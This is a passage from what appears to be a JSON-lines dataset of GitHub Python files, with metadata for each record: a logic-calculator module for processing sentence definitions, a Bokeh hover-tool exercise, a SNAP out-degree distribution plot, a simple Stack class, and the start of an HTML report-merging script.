self.sp_sent.hnum2csent = _\n return\n\n def get_word2snum(self):\n ##todo some relations which can have negated\n #related such as b CAR ~c are not working right\n\n for x, y in self.sent_map.items():\n snum = self.ssent2num[x]\n if y.sent_id and not snum[0] == '0':\n\n sent_type = gf.get_sent_type(snum)\n if sent_type not in [1, 2]:\n word = 0\n elif sent_type == 1:\n if \"i\" == y.obj or \"i\" == y.subj:\n word = 0\n elif \":\" in y.obj:\n word = y.obj\n assert word in self.const_dct\n elif y.relation in math_sym:\n word = 0\n else:\n word = y.relation\n else:\n if y.relation in ['I', \"J\", \"V\"]:\n word = y.obj\n assert word in self.const_dct\n\n elif y.relation == mini_e:\n if y.obj in self.const_dct:\n word = y.obj\n assert word in self.const_dct\n else:\n word = 0\n else:\n for x in pos_word:\n if getattr(y, x) in self.const_dct:\n word = 0\n break\n else:\n word = y.relation\n\n if word:\n self.word2snum[word] = snum\n self.word2snum.maps[1][snum] = word\n\n return\n\n def reduce_connectives(self):\n if not self.partial:\n self.connectives = []\n lst1 = [\n (\"\", \"\"),\n (\"\", \"~\"),\n (\"~\", \"\"),\n (\"~\", \"~\")\n ]\n for k, v in self.pos.items():\n for e, tpl in en(lst1):\n if v[0] == 'c' and k[0].isupper():\n if k == 'EN' and e == 3:\n bb = 8\n\n stv = tpl[0]\n otv = tpl[1]\n str1 = f\"({stv}b {k} {otv}c)\"\n self.connectives.append(str1)\n csent = gdf.atomic_sent(str1, **self.atomic_kwargs)\n self.sent_map[str1] = csent\n\n return\n\n def get_last_snum(self, str1):\n if self.erase_ssent2num:\n return 0\n else:\n nums = list(self.ssent2num.maps[1].keys())\n return max([int(float(x)) for x in nums if x.endswith(str1)]) + 1\n\n def get_missing_mol(self):\n if self.erase_ssent2num:\n return list(self.base_molecules) + self.connectives, 0\n else:\n new = set(self.base_molecules)\n existing = set(self.ssent2num.maps[0].keys())\n missing = new - existing\n self.get_deleted_mol()\n unused_snum = 0\n return missing, unused_snum\n\n def get_deleted_mol(self):\n old_def = set(self.old_definitions.keys())\n new_def = set(self.definitions.keys())\n st = old_def - new_def\n deleted_mol = set()\n for x in st:\n if x[0].islower():\n deleted_mol.add(vgf.get_key(self.const_dct, x))\n else:\n deleted_mol.add(x)\n\n deleted_mol = set(self.old_word2snum[mol] for mol in deleted_mol)\n variations = set()\n for x in deleted_mol:\n if x[-1] == '2':\n variations.add(\"0\" + x)\n str1 = x[:-1] + \"6\"\n str2 = \"0\" + str1\n variations.add(str1)\n variations.add(str2)\n snums = variations | deleted_mol\n ssents = set(self.ssent2num[x] for x in snums)\n for x in ssents:\n del self.sent_map[x]\n del self.ssent2num[x]\n for x in snums:\n del self.ssent2num.maps[1][x]\n return\n\n\n\n\n def get_tnum(self, ssent, m, c, sixes):\n tnum = self.ssent2num.get(ssent)\n if tnum:\n tnum = int(float(tnum))\n\n if ssent in self.connectives:\n let = '.7'\n leti = '.3'\n if not tnum:\n c += 1\n tnum = c\n else:\n let = \".6\"\n leti = '.2'\n if not tnum:\n m += 1\n tnum = m\n\n return tnum, let, leti, m, c\n\n def number_molecules(self):\n self.atomic_kwargs['entry'] = 'from_matrix'\n m = self.get_last_snum('.2')\n c = self.get_last_snum('.3')\n missing, sixes = self.get_missing_mol()\n renumbered = False\n\n for ssent in missing:\n if not renumbered:\n p('renumbered')\n renumbered = True\n\n tnum, let, leti, m, c = self.get_tnum(ssent, m, c, sixes)\n csent = self.sent_map[ssent]\n snum2 = str(tnum) + let\n self.new_csent2(csent, snum2)\n\n csent2 = self.new_csent(csent)\n csent2.tvalue = \"~\"\n snum2 = \"0\" + snum2\n self.new_csent2(csent2, snum2)\n\n csent2 = self.new_csent(csent)\n csent2.sent_id = \"d\"\n snum2 = str(tnum) + leti\n self.new_csent2(csent2, snum2)\n\n csent2 = self.new_csent(csent)\n csent2.sent_id = \"d\"\n csent2.tvalue = \"~\"\n snum2 = \"0\" + snum2\n self.new_csent2(csent2, snum2)\n\n b = self.sent_map.values()\n _ = [x.snum for x in b if x.relation == circle]\n self.cj_sent = _\n _ = [x.snum for x in b if x.relation == \"EN\"]\n self.en_sent = _\n\n return\n\n def new_csent(self, csent):\n self.atomic_kwargs['entry'] = 'from_matrix'\n csent2 = gdf.atomic_sent(csent, **self.atomic_kwargs)\n self.atomic_kwargs['entry'] = 'definition'\n return csent2\n\n def new_csent2(self, csent, snum2):\n csent.get_base_form()\n ssent = csent.base_form\n csent.snum = snum2\n self.ssent2num[ssent] = snum2\n self.ssent2num.maps[1][snum2] = ssent\n csent.name = csent.build_sent()\n self.sent_map[ssent] = csent\n\n def fix_ssent2num(self):\n self.ssent2num.maps[1] = {}\n _ = {v: k for k, v in self.ssent2num.maps[0].items()}\n self.ssent2num.maps[1] = _\n assert len(self.ssent2num.maps[0]) == len(self.ssent2num.maps[1])\n\n def save_pickle(self):\n atts = [\n 'ssent2num',\n 'word2snum',\n 'cj_sent',\n 'en_sent',\n 'def2sp_sent',\n 'sent_map',\n 'word2kind',\n 'kind2word',\n 'changed',\n 'pos',\n 'arity',\n ]\n\n if self.pickle:\n p ('pickled definitions')\n copy2(base_dir + \"pickles/definitions.pkl\", base_dir + \"pickles/definitions_old.pkl\")\n pi.save_pickle(self.definitions, 'definitions')\n if not self.do_all:\n p('pickled half dct')\n classless_dict = {}\n for x in atts:\n classless_dict[x] = getattr(self, x)\n pi.save_pickle(classless_dict, 'half_dct')\n\n\n\nclass get_standard_form:\n def __init__(self, **kwargs):\n self.test = kwargs.get('te')\n self.pickle = kwargs.get('pi')\n self.skip_errors = kwargs.get('se')\n self.partial = kwargs.get('pa')\n self.arbitrary = {}\n self.atts = [\n 'ssent2num',\n 'word2snum',\n 'cj_sent',\n 'en_sent',\n 'sent_map',\n ]\n self.atts2 = [\n 'word2kind',\n 'kind2word',\n 'def2sp_sent',\n 'const_dct',\n 'arity',\n 'changed',\n 'pos']\n\n def from_first_half(self, cls):\n vgf.copy_partial_cls(self, cls, self.atts + self.atts2)\n\n def from_pickle(self):\n dct = pi.open_pickle('half_dct')\n for x, y in dct.items():\n setattr(self, x, y)\n self.const_dct = pi.open_pickle(\"const_dct\")\n\n def from_premise(self, cls):\n atts4 = [\n 'entail_dct',\n 'entail_guide',\n 'embed_detach_dct',\n 'inums2snums'\n ]\n\n atts3 = [\n 'connected_sents',\n 'done_conjuncts',\n 'done_entail',\n 'variables',\n 'detached_varis',\n 'sent2var',\n 'odef',\n 'all_sents',\n 'attached_sents',\n 'sent_id2csent'\n ]\n vgf.copy_partial_cls(self, cls.dictionary, self.atts + atts4)\n vgf.copy_partial_cls(self, cls, atts3)\n self.shift_combos = {}\n self.word = 'premise'\n self.abb_word = 'premise'\n self.atomic_kwargs = {\n 'entry': 'definition',\n 'ssent2num': self.ssent2num,\n }\n\n def main(self):\n self.entail_dct = chainmap({}, {})\n self.entail_guide = {}\n self.embed_detach_dct = {}\n self.inums2snums = {}\n self.word2mol = {}\n self.connected_sents = {}\n self.main2()\n\n def define_partial(self):\n cls = pi.open_pickle(\"classless_dict\")\n cls = to.from_dict2cls(cls)\n vgf.copy_class(self, cls)\n self.main2()\n\n def main2(self):\n pl.print_on = False\n self.shift_combos = pi.open_pickle(\"shift_combos\")\n self.done_conjuncts = {}\n self.done_entail = {}\n self.detached_varis = set()\n self.sent2var = {}\n self.variables = set()\n gf.cj_sent = self.cj_sent\n gf.en_sent = self.en_sent\n gf.get_bul_num(self.ssent2num)\n gf.cj_sent.append(gf.bul_num)\n self.atomic_kwargs = {\n 'entry': 'definition',\n 'ssent2num': self.ssent2num,\n }\n\n self.main_loop()\n self.save_pickle()\n self.test_dictionary()\n\n def main_loop(self):\n b = 0\n for self.word, self.sp_sent_lst in self.def2sp_sent.items():\n b += 1\n vgf.print_intervals(b, 50)\n tpos = self.pos[self.word]\n if self.word == 'INA':\n bb = 8\n\n if meets_conditions(self.test, self.word,\n tpos, self.changed,\n self.partial, 1):\n # p(self.word)\n self.get_abb_word()\n if self.skip_errors:\n try:\n self.loop_definition()\n except:\n p(f\"error in {self.word}\")\n else:\n self.loop_definition()\n self.done_conjuncts = {}\n self.done_entail = {}\n if self.ssent2num['(d - b J c)'] != '23.1':\n p('changed')\n sys.exit()\n\n return\n\n def get_abb_word(self):\n self.abb_word = self.word\n if self.abb_word not in self.word2snum:\n self.abb_word = vgf.get_key(self.const_dct, self.abb_word)\n return\n\n def loop_definition(self):\n legal_kinds = ['other', 'perfect_conjuncts', 'imperfect_disjunct',\n 'arrow_sentences', 'perfect_disjuncts', 'ep_disj',\n 'former_arrow', 'former_disjunct', 'premise']\n illegal_kinds = ['arrow_disjuncts']\n\n i = 0\n while i < len(self.sp_sent_lst):\n self.sp_sent = self.sp_sent_lst[i]\n self.kind = self.sp_sent.kind\n if self.kind not in illegal_kinds:\n if not self.kind == 'premise':\n used_var = set(self.done_entail.values()) | set(self.done_conjuncts.values())\n gf.get_used_var(self, self.sp_sent.hnum2csent.values(), used_var)\n self.sent2var = defaultdict(self.variables)\n if self.meets_conditions2():\n self.put_on_sent_id()\n self.adjust_sp_name()\n self.get_word2mol()\n self.elim_imp_disj().main(self)\n _ = elim_disjuncts().main(self.sp_sent_lst, self.ssent2num)\n self.sp_sent_lst = _\n self.sp_sent = self.sp_sent_lst[i]\n self.eliminate_arrows()\n self.odef = self.sp_sent.sentence\n if self.kind == 'premise':\n return self.build_hierarchy().main(self)\n else:\n self.build_hierarchy().main(self)\n self.variables = []\n i += 1\n # p (i)\n if i == 3:\n bb = 8\n\n class elim_imp_disj:\n def main(self, cls):\n if cls.kind not in ['imperfect_disjunct', 'arrow_disjuncts']:\n return\n self.sp_sent = cls.sp_sent\n self.ssent2num = cls.ssent2num\n self.old_names = cls.old_names\n self.kind2 = 'ep_disj'\n self.pure_sents = []\n done = set()\n parent = self.sp_sent.sentence\n num = 945\n self.parent = self.rename_imp_disj(parent)\n greek2disj = {}\n dct1 = {y.name_tv: y for x, y in self.sp_sent.hnum2csent.items()}\n dct1a = {y.name: y for x, y in self.sp_sent.hnum2csent.items()}\n self.get_replacements(done, greek2disj, num)\n self.make_replacements(dct1, greek2disj)\n if self.kind2 == 'pure':\n cls.sp_sent = self.sp_sent\n cls.sp_sent_lst = self.sp_sent_lst\n else:\n # todo take this down after a while\n self.sp_sent = choose_sentence().main(self.parent, \"temp\")\n if type(self.sp_sent) == str: assert False\n if cls.kind == 'arrow_disjuncts':\n self.sp_sent.kind = 'arrow_sentences'\n else:\n self.sp_sent.kind = 'former_disjunct'\n cls.kind = self.sp_sent.kind\n self.sp_sent_lst = [self.sp_sent]\n dct3 = self.sp_sent.name\n dct2 = self.sp_sent.conn\n self.sp_sent.hnum2csent = {k: dct1a[dct3[k]]\n for k, v in dct2.items() if not v}\n for k, v in self.sp_sent.tvalue.items():\n if v:\n csent = self.sp_sent.hnum2csent[k]\n self.sp_sent.hnum2csent[k] = gdf.make_negative(csent)\n cls.sp_sent = self.sp_sent\n cls.sp_sent_lst = [cls.sp_sent]\n\n return\n\n def get_replacements(self, done, greek2disj, num):\n for x, y in self.sp_sent.conn.items():\n arrow_used = False\n if y == xorr:\n parents = self.sp_sent.parents[x]\n if self.sp_sent.conn[parents[0]] == arrow:\n hnum = x\n arrow_used = True\n elif self.sp_sent.conn[parents[0]] in [conditional, iff, horseshoe]:\n hnum = parents[0]\n elif parents[1] == '1':\n hnum = '1'\n else:\n hnum = parents[1]\n\n if hnum not in done:\n if not hnum == '1':\n done.add(hnum)\n repl = chr(num)\n if hnum == '1' and self.sp_sent.kind != 'arrow_disjuncts':\n self.kind2 = 'pure'\n self.get_pure_sents()\n sent = self.sp_sent.name[x]\n else:\n sent = self.sp_sent.name[hnum]\n sent = self.rename_imp_disj(sent)\n\n if arrow_used or hnum == '1' or parents[1] == '1':\n sent = sent[1:-1]\n\n self.parent = self.parent.replace(sent, repl)\n num += 1\n greek2disj[repl] = sent\n\n def get_pure_sents(self):\n self.pure_sents.append(self.sp_sent.name['1.1'])\n lst = []\n for k, v in self.sp_sent.conn.items():\n if not v:\n if k.startswith('1.2.') and k.count(\".\") == 2:\n lst.append(self.sp_sent.name[k])\n str1 = f\" {cj} \".join(lst)\n self.pure_sents.append(str1)\n dct = {v.name_tv: v for k, v in self.sp_sent.hnum2csent.items()}\n self.pure_sents.append(dct)\n\n def make_replacements(self, dct1, greek2disj):\n for repl, sent in greek2disj.items():\n sp_sent = split_sentencescl().main(sent)\n dct3 = sp_sent.name\n dct = {k: dct1[dct3[k]] for k, v in sp_sent.conn.items() if not v}\n sp_sent.hnum2csent = dct\n sp_sent.kind = self.kind2\n _ = elim_disjuncts().main([sp_sent], self.ssent2num, self.pure_sents)\n sent = _\n if self.kind2 == 'pure':\n self.sp_sent_lst = sent\n else:\n self.parent = self.parent.replace(repl, sent)\n\n def rename_imp_disj(self, sent):\n for k, v in self.sp_sent.conn.items():\n if not v:\n old = self.old_names[k]\n new = self.sp_sent.name[k]\n sent = sent.replace(old, new)\n return sent\n\n def eliminate_arrows(self):\n # p (self.word)\n if self.kind in ['arrow_sentences']:\n if self.sp_sent.sentence.count(shift) < 15:\n self.sp_sent_lst = get_shiftscl().main(self)\n self.sp_sent = self.sp_sent_lst[0]\n\n def meets_conditions2(self):\n if self.kind in [\n 'former_arrow',\n 'former_disjunct']:\n return False\n elif self.kind == 'premise':\n return False\n return True\n\n def adjust_sp_name(self):\n self.old_names = jsonc(self.sp_sent.name)\n for k, v in self.sp_sent.hnum2csent.items():\n self.sp_sent.name[k] = v.name\n v.snum = self.ssent2num.get(v.base_form)\n\n def get_word2mol(self):\n hnum2csent = self.sp_sent.hnum2csent\n csent = hnum2csent.get('1.1')\n if csent:\n mol_num = csent.snum\n for k, v in hnum2csent.items():\n if k != '1.1' and is_molec(v.snum):\n snum = v.snum if v.snum[0] != \"0\" else v.snum[1:]\n self.word2mol.setdefault(mol_num, []).append(snum)\n else:\n p(f\"{self.word} is not reducible to atoms\")\n p(self.odef)\n p(\"\")\n\n def put_on_sent_id(self):\n self.odef = self.sp_sent.sentence\n for csent in self.sp_sent.hnum2csent.values():\n if not csent.sent_id:\n gf.name_sentence(csent, self.ssent2num, self.sent2var)\n else:\n self.sent2var[csent.name] = csent.sent_id\n return\n\n def save_pickle(self):\n if self.pickle:\n p('pickled')\n atts = {'ssent2num',\n 'sent_map',\n 'word2snum',\n 'entail_dct',\n 'entail_guide',\n 'embed_detach_dct',\n 'inums2snums',\n 'connected_sents',\n 'pos',\n 'arity',\n 'word2mol',\n 'cj_sent',\n 'en_sent',\n 'arbitrary'}\n\n classless_dict = {x: getattr(self, x) for x in atts}\n pi.save_pickle(classless_dict, 'classless_dict')\n\n\n def test_dictionary(self):\n if self.test:\n old_entail_info = pi.open_pickle('classless_dict')\n if self.entail_dct != old_entail_info['entail_dct']:\n p('failed first dictionary test')\n else:\n p('passed first dictionary test')\n if self.entail_guide != old_entail_info['entail_guide']:\n p('failed second dictionary test')\n for k, v in old_entail_info['entail_guide'].items():\n new_v = self.entail_guide[k]\n if new_v != v:\n p(f\"{k} is different\")\n\n\n else:\n p('passed second dictionary test')\n if old_entail_info['connected_sents'] != self.connected_sents:\n p('failed connected sents test')\n else:\n p('passed connected sents test')\n\n class build_hierarchy:\n '''\n a named attached sentence is one of the form (p → q). it is\n given a unique number ending in .9 and added to the\n connected_sents dictionary. when it is sorted we need all\n of the relevant sentences that is composed of.\n when it is named we only need the EN sentences, the detached\n conjuncts and other named attached sentences if any.\n\n the new_sent_constr is just used to build new sentences and\n does not get passed onto the build_entailments class. because\n we are only interested in new sentences iff sentences do not\n count since they are reduced to EN sentences, hence we are only\n building new EN sents and circle sentences\n\n the detach_embed is used so that when an embedded conditional\n is detached we know what the antecedents and consequents are.\n this is composed of a list of 2 lists. the antecedent needs\n to be composed of all detached and named attached sentences.\n\n the sorting_guide is only used for sorting when it comes time\n to build new sentences.\n\n the embed2b_named dict only needs to have the sentences which are\n on its level since those sentences which are children or grandchildren\n will be given a new name and we need only use that name.\n '''\n\n def main(self, cls):\n atts = ['kind', 'variables', 'atomic_kwargs', 'ssent2num',\n 'done_conjuncts', 'done_entail', 'arbitrary']\n vgf.copy_partial_cls(self, cls, atts)\n keys = ['conn', 'hnum2csent', 'tvalue',\n 'children', 'descendants',\n 'name', 'parents', 'mainc']\n vgf.copy_partial_cls(self, cls.sp_sent, keys)\n self.sent_id2csent = {v.sent_idtv: v\n for v in self.hnum2csent.values()}\n self.iff_dct = {}\n self.embeds2b_named = {}\n self.new_sent_constr = {}\n self.sent_id2conn = {}\n self.do_not_sort = []\n self.detach_embed = {}\n self.sent_id2old_ssent = {}\n self.sent_id2ssent = {}\n self.order_children()\n self.assign_var2conn()\n self.elim_iff_hier()\n self.get_sent_id2ssent()\n self.preparenum2var2num()\n pack_conjunctionscl().main(self, cls)\n if self.kind == 'premise':\n return cls.all_sents, cls.attached_sents, cls.sent_id2csent\n\n def order_children(self):\n dct = {}\n for x, y in self.children.items():\n dct[x] = x.count(\".\")\n dct = sort_dict_by_val_dct(dct)\n children2 = {}\n for x in reversed(list(dct.keys())):\n children2[x] = self.children[x]\n self.children = children2\n\n def assign_var2conn(self):\n dct = defaultdict(self.variables)\n self.new_sent_helper = {}\n z = self.hnum2csent\n for x, y in self.children.items():\n if x == '1':\n bb = 8\n\n if y:\n conn = self.conn[x]\n if conn not in [iff, conditional, horseshoe]:\n tpl = tuple(z[x] if type(z[x]) == str else z[x].sent_idtv for x in y)\n varis = dct[tpl]\n else:\n left = x + \".1\"\n right = x + \".2\"\n var_lst1 = self.get_children(left)\n var_lst2 = self.get_children(right)\n varis1 = self.get_sent_id(left)\n varis2 = self.get_sent_id(right)\n tpl1 = (varis1, varis2)\n tpl2 = (varis2, varis1)\n\n if conn == iff:\n varis = self.variables()\n\n if x == '1' and self.kind not in ['premise', 'ep_disj']:\n varis3 = '1'\n varis4 = '2'\n else:\n self.embeds2b_named[varis] = []\n varis3 = dct[tpl1]\n varis4 = dct[tpl2]\n self.iff_dct[varis] = [varis3, varis4]\n\n self.detach_embed[varis3] = [var_lst1, var_lst2]\n self.detach_embed[varis4] = [var_lst2, var_lst1]\n self.new_sent_helper[varis3] = [varis1, varis2]\n self.new_sent_helper[varis4] = [varis2, varis1]\n self.hnum2csent[x + 'a'] = varis3\n self.hnum2csent[x + 'b'] = varis4\n elif conn in [conditional, horseshoe]:\n tpl = (varis1, varis2)\n if x == '1' and self.kind not in ['premise', 'ep_disj']:\n varis = '1'\n else:\n varis = dct[tpl]\n self.embeds2b_named[varis] = []\n\n self.detach_embed[varis] = [var_lst1, var_lst2]\n self.new_sent_helper[varis] = [varis1, varis2]\n\n self.hnum2csent[x] = varis\n\n return\n\n def get_children(self, x):\n if x == \"1\":\n bb = 8\n\n conn = self.conn[x]\n z = self.children.get(x)\n if not z:\n return [self.get_sent_id(x)]\n elif conn == cj:\n return [self.get_sent_id(y) for y in z]\n else:\n return [self.get_sent_id(x)]\n\n def sort_bicond(self, left, right, varis1, varis2):\n left_children = self.descendants.get(left, [left])\n right_children = self.descendants.get(right, [right])\n\n if len(left_children) < len(right_children):\n return varis1, varis2\n if len(left_children) > len(right_children):\n return varis2, varis1\n\n left_snums = [self.hnum2csent[x].snum for x in left_children]\n right_snums = [self.hnum2csent[x].snum for x in right_children]\n left_snums.sort()\n right_snums.sort()\n\n for l, r in zip(left_snums, right_snums):\n if float(l) == float(r):\n pl.print_arb('arbitrary biconditional')\n return varis1, varis2\n elif float(l) < float(r):\n return varis1, varis2\n elif float(l) > float(r):\n return varis2, varis1\n\n assert False\n\n def meets_conditions3(self, hnum, conn):\n if self.kind in ['premise', 'ep_disj']:\n return True\n if hnum == '1':\n return False\n if hnum.count(\".\") == 1 and conn == cj:\n return False\n return True\n\n def elim_iff_hier(self):\n for hnum, v in self.children.items():\n conn = self.conn[hnum]\n if self.meets_conditions3(hnum, conn):\n sent_id = self.get_sent_id(hnum)\n if sent_id == 'k' + l1:\n bb = 8\n\n conn = self.conn[hnum]\n if conn == conditional: conn = horseshoe\n if sent_id in self.iff_dct:\n descendants = self.iff_dct[sent_id]\n left = descendants[0]\n right = descendants[1]\n left_kids = self.new_sent_helper[left]\n right_kids = self.new_sent_helper[right]\n self.new_sent_constr[left] = left_kids\n self.new_sent_constr[right] = right_kids\n self.new_sent_constr[sent_id] = [left, right]\n self.sent_id2conn[left] = horseshoe\n self.sent_id2conn[right] = horseshoe\n else:\n varis = self.get_sent_id(hnum)\n _ = [self.get_sent_id(x) for x in v]\n self.new_sent_constr[varis] = _\n self.sent_id2conn[varis] = conn\n ''''\n this is for the super rare case where the sentence\n is a conditional and the consequent is composed of\n conjuncts only. in that case, we do not need to\n sort them\n '''\n if self.kind not in ['premise'] \\\n and conn == cj and \\\n hnum.count(\".\") == 1:\n self.do_not_sort.append(varis)\n\n return\n\n def get_sent_id2ssent(self):\n for k, v in self.hnum2csent.items():\n if k == \"1\":\n pass\n elif k[-1] in ['a', 'b']:\n pass\n elif type(v) == str:\n tv = self.tvalue[k]\n self.sent_id2old_ssent[v] = tv + self.name[k]\n else:\n self.sent_id2old_ssent[v.sent_idtv] = v.name_tv\n self.sent_id2ssent[v.sent_idtv] = v.name_tv\n\n return\n\n def get_sent_id(self, hnum):\n item = self.hnum2csent[hnum]\n if type(item) != str:\n item = item.sent_idtv\n return item\n\n def preparenum2var2num(self):\n if self.kind in ['premise']:\n self.sent_id2num2var = {}\n return\n\n oneone = self.hnum2csent['1.1']\n onetwo = self.hnum2csent['1.2']\n if type(oneone) == gdf.atomic_sent:\n oneone = oneone.sent_id\n if type(oneone) == gdf.atomic_sent:\n onetwo = onetwo.sent_id\n normal = True\n if self.detach_embed['1'] == [onetwo, oneone]:\n normal = False\n\n self.sent_id2num2var = {}\n for x in self.detach_embed.keys():\n if x[0].isalpha():\n for hnum, v in self.hnum2csent.items():\n if hnum not in ['1', '2'] and \\\n gf.get_sent_id(self.hnum2csent, hnum) == x:\n hnum = hnum[:3]\n if (hnum == '1.2' and normal) or \\\n (hnum == '1.1' and not normal):\n self.sent_id2num2var[x] = '1'\n else:\n self.sent_id2num2var[x] = '2'\n break\n","repo_name":"kylefoley76/english_language_logical_calculator","sub_path":"dictionary/digital_definition.py","file_name":"digital_definition.py","file_ext":"py","file_size_in_byte":38499,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"17456694942","text":"'''\nAdding a hover tool\n\nIn this exercise, you'll practice adding a hover tool to drill down into data column values and display more detailed information about each scatter point.\n\nAfter you're done, experiment with the hover tool and see how it displays the name of the country when your mouse hovers over a point!\n\nThe figure and slider have been created for you and are available in the workspace as plot and slider.\n'''\n\nimport pandas as pd\nfrom bokeh.io import curdoc\nfrom bokeh.models import ColumnDataSource\nfrom bokeh.plotting import figure\nfrom bokeh.models import CategoricalColorMapper\nfrom bokeh.palettes import Spectral6\nfrom bokeh.layouts import widgetbox, row\nfrom bokeh.models import Slider\n\ndata = pd.read_csv('../datasets/gapminder_tidy.csv', index_col='Year')\n\nsource = ColumnDataSource(data={\n 'x' : data.loc[1970].fertility,\n 'y' : data.loc[1970].life,\n 'country': data.loc[1970].Country,\n 'pop' : data.loc[1970].population / 20000000 + 2,\n 'region' : data.loc[1970].region,\n})\n\nxmin, xmax = min(data.fertility), max(data.fertility)\nymin, ymax = min(data.life), max(data.life)\n\nplot = figure(\n title='Gapminder Data for 1970',\n plot_height=400, plot_width=700,\n x_range=(xmin, xmax), y_range=(ymin, ymax))\n\nregions_list = data.region.unique().tolist()\n\ncolor_mapper = CategoricalColorMapper(factors=regions_list, palette=Spectral6)\n\nplot.circle(\n x='x', y='y', fill_alpha=0.8, source=source,\n color=dict(field='region', transform=color_mapper),\n legend='region')\n\nplot.legend.location = 'top_right'\n\ncurdoc().title = 'Gapminder'\n\ndef update_plot(attr, old, new):\n # Assign the value of the slider: yr\n yr = slider.value\n # Set new_data\n new_data = {\n 'x' : data.loc[yr].fertility,\n 'y' : data.loc[yr].life,\n 'country': data.loc[yr].Country,\n 'pop' : data.loc[yr].population / 20000000 + 2,\n 'region' : data.loc[yr].region,\n }\n # Assign new_data to: source.data\n source.data = new_data\n\n # Add title to figure: plot.title.text\n plot.title.text = 'Gapminder data for %d' % yr\n\nslider = Slider(start=1970, end=2010, step=1, value=1970, title='Year')\n\nslider.on_change('value', update_plot)\n\n'''\nINSTRUCTIONS\n\n* Import HoverTool from bokeh.models.\n* Create a HoverTool object called hover with tooltips=[('Country', '@country')].\n* Add the HoverTool object you created to the plot using add_tools().\n* Create a row layout using widgetbox(slider) and plot.\n* Add the layout to the current document. This has already been done for you.\n'''\n\n# Import HoverTool from bokeh.models\nfrom bokeh.models import HoverTool\n\n# Create a HoverTool: hover\nhover = HoverTool(tooltips=[('Country', '@country')])\n\n# Add the HoverTool to the plot\nplot.add_tools(hover)\n\n# Create layout: layout\nlayout = row(widgetbox(slider), plot)\n\n# Add layout to current document\ncurdoc().add_root(layout)\n\n# To start bokeh server run this command in the current folder\n# bokeh serve --show 06-adding-a-hover-tool.py","repo_name":"sashakrasnov/datacamp","sub_path":"14-interactive-data-visualization-with-bokeh/4-putting-it-all-together-a-case-study/06-adding-a-hover-tool.py","file_name":"06-adding-a-hover-tool.py","file_ext":"py","file_size_in_byte":3031,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"72"} +{"seq_id":"4499981856","text":"#-*- coding:utf-8 -*-\n\n# Author:james Zhang\n# Datetime:20-2-26 上午10:12\n# Project: CS224W\n\"\"\"\n\nThis part asks for two tasks:\n1. Plot out degree distribution, and,\n2. Compute linear coefficient and plot the linear line\n\n\"\"\"\n\n\nimport snap\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\nfrom sklearn.linear_model import LinearRegression\n\n\nDATA_PATH = './Wiki-Vote.txt'\n\n\nif __name__ == '__main__':\n\n # Build Wiki Graph\n G1 = snap.LoadEdgeList(snap.PNGraph, DATA_PATH, 0, 1)\n\n # use Snap.py own plot tools, but not shown.\n snap.PlotOutDegDistr(G1, 'Wiki', 'Wiki')\n\n # So I draw everything by my own.\n DegToCntV = snap.TIntPrV()\n snap.GetOutDegCnt(G1, DegToCntV)\n\n out_deg = []\n deg_cnt = []\n\n for item in DegToCntV:\n deg_cnt.append(item.GetVal2())\n out_deg.append(item.GetVal1())\n\n out_deg_dis = pd.DataFrame({'Out_Degree_Value': out_deg, \"Out_Degree_Cnt\": deg_cnt})\n out_deg_dis.drop(index=0, inplace=True)\n\n # print(out_deg_dis.head(10))\n # print(out_deg_dis.shape)\n\n # As polyfit and poly1d does not work, I try to use liear reression to get the coefficient and intercept\n log_ODV = np.log10(out_deg_dis.Out_Degree_Value).values\n log_ODV = log_ODV[:, np.newaxis]\n log_ODC = np.log10(out_deg_dis.Out_Degree_Cnt).values\n\n l_r = LinearRegression()\n l_r.fit(log_ODV, log_ODC)\n print(l_r.coef_, l_r.intercept_)\n\n baseline = l_r.predict(log_ODV)\n\n preds = np.power(baseline, 10)\n preds[preds<1] = 1\n\n out_deg_dis['Out_Deg_Fit'] = pd.Series(preds)\n\n # print(out_deg_dis.head(-10))\n # print(out_deg_dis.shape)\n\n # plot_log_log(out_deg_dis, 'Out_Degree_Value', \"Out_Deg_Fit\"))\n ax = out_deg_dis.plot('Out_Degree_Value', 'Out_Deg_Fit', lw=2, color='red',logy=True, logx=True, figsize=(10,10),\n label=\"Y = {:.2f}x + {:.2f}\".format(l_r.coef_[0], l_r.intercept_))\n out_deg_dis.plot('Out_Degree_Value', 'Out_Degree_Cnt', lw=2, color='blue',logy=True, logx=True, ax=ax,\n label=\"Log-Log Degree cnt vs Degree Freq\".format(l_r.coef_, l_r.intercept_))\n plt.show()\n","repo_name":"zhjwy9343/CS224W","sub_path":"HW0/Q2.py","file_name":"Q2.py","file_ext":"py","file_size_in_byte":2123,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"} +{"seq_id":"6724415575","text":"class Stack:\n def __init__(self, list=None):\n if list == None:\n self.items = []\n else:\n self.items = list\n\n def push(self, o):\n self.items.append(o)\n\n def size(self):\n return len(self.items)\n\n def isEmpty(self):\n if len(self.items) == 0:\n return True\n else:\n return False\n\n def pop(self):\n return self.items.pop()\n\n def peek(self):\n return self.items[len(self.items) - 1]\n\n\ns = Stack()\nname = 'Rachata'\nfor i in range(0, len(name)):\n s.push(name[i])\nprint(s.items)\nfor i in range(0, len(s.items)):\n print(s.items[i], end='')\nprint()\nprint(s.size())\nprint(s.isEmpty())\nprint(s.peek())\nfor i in range(0, len(name)):\n s.pop()\n print(s.items)\n","repo_name":"MiraiRT/DS_L2","sub_path":"ImplementedStack.py","file_name":"ImplementedStack.py","file_ext":"py","file_size_in_byte":769,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"70182811752","text":"#!/usr/bin/env python\n\nfrom optparse import OptionParser\nimport glob, sys, os, re\n\nif __name__ == \"__main__\":\n parser = OptionParser()\n parser.add_option(\"-o\", \"--output\", dest=\"output\", help=\"output file name\", metavar=\"FILENAME\", default=None)\n (options, args) = parser.parse_args()\n\n if not options.output:\n sys.stderr.write(\"Error: output file name is not provided\")\n exit(-1)\n\n files = []\n for arg in args:\n if (\"*\" in arg) or (\"?\" in arg):\n files.extend([os.path.abspath(f) for f in glob.glob(arg)])\n else:\n files.append(os.path.abspath(arg))\n\n html = None\n for f in sorted(files):\n try:\n fobj = open(f)\n if not fobj:\n continue\n text = fobj.read()\n if not html:\n html = text\n continue\n idx1 = text.find(\"\") + len(\"\")\n idx2 = html.rfind(\"\")\n html = html[:idx2] + re.sub(r\"[ 